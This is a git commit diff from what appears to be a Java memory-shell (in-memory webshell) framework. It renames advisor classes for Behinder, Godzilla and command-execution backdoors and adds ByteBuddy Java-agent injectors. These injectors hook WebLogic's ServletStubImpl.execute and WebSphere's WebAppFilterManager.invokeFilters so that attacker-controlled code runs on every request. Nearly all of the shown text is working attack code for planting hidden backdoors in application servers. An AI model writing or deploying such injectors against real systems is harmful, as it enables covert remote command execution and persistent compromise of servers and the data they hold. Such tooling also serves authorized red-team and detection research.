feat: support was and weblogic agent shell

This commit is contained in:
ReaJason
2025-01-03 22:05:54 +08:00
parent 2b34b80e40
commit 371402c144
20 changed files with 266 additions and 47 deletions
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.behinder;
package com.reajason.javaweb.memshell.shelltool.behinder;
import net.bytebuddy.asm.Advice;
@@ -17,7 +17,7 @@ import java.util.Map;
/**
* @author ReaJason
*/
public class TomcatFilterChainBehinderAdvisor {
public class BehinderFilterChainAdvisor {
public static String pass;
public static String headerName;
public static String headerValue;
@@ -27,6 +27,9 @@ public class TomcatFilterChainBehinderAdvisor {
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
if (!(req instanceof HttpServletRequest)) {
return false;
}
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.command;
package com.reajason.javaweb.memshell.shelltool.command;
import net.bytebuddy.asm.Advice;
@@ -10,7 +10,7 @@ import java.io.InputStream;
/**
* @author ReaJason
*/
public class TomcatFilterChainCommandAdvisor {
public class CommandFilterChainAdvisor {
public static String paramName;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
@@ -18,7 +18,6 @@ public class TomcatFilterChainCommandAdvisor {
@Advice.Argument(value = 0) ServletRequest request,
@Advice.Argument(value = 1) ServletResponse response
) {
System.out.println(paramName);
String cmd = request.getParameter(paramName);
try {
if (cmd != null) {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
package com.reajason.javaweb.memshell.shelltool.godzilla;
import net.bytebuddy.asm.Advice;
@@ -15,7 +15,7 @@ import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class TomcatFilterChainGodzillaAdvisor {
public class GodzillaFilterChainAdvisor {
public static String key;
public static String pass;
public static String md5;
@@ -0,0 +1,65 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/1/3
*/
public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3))));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("weblogic.servlet.internal.ServletStubImpl"))
.transform(new WebLogicServletStubAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute");
}
}
@@ -0,0 +1,63 @@
package com.reajason.javaweb.memshell.websphere.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
.transform(new WebSphereFilterChainAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters");
}
}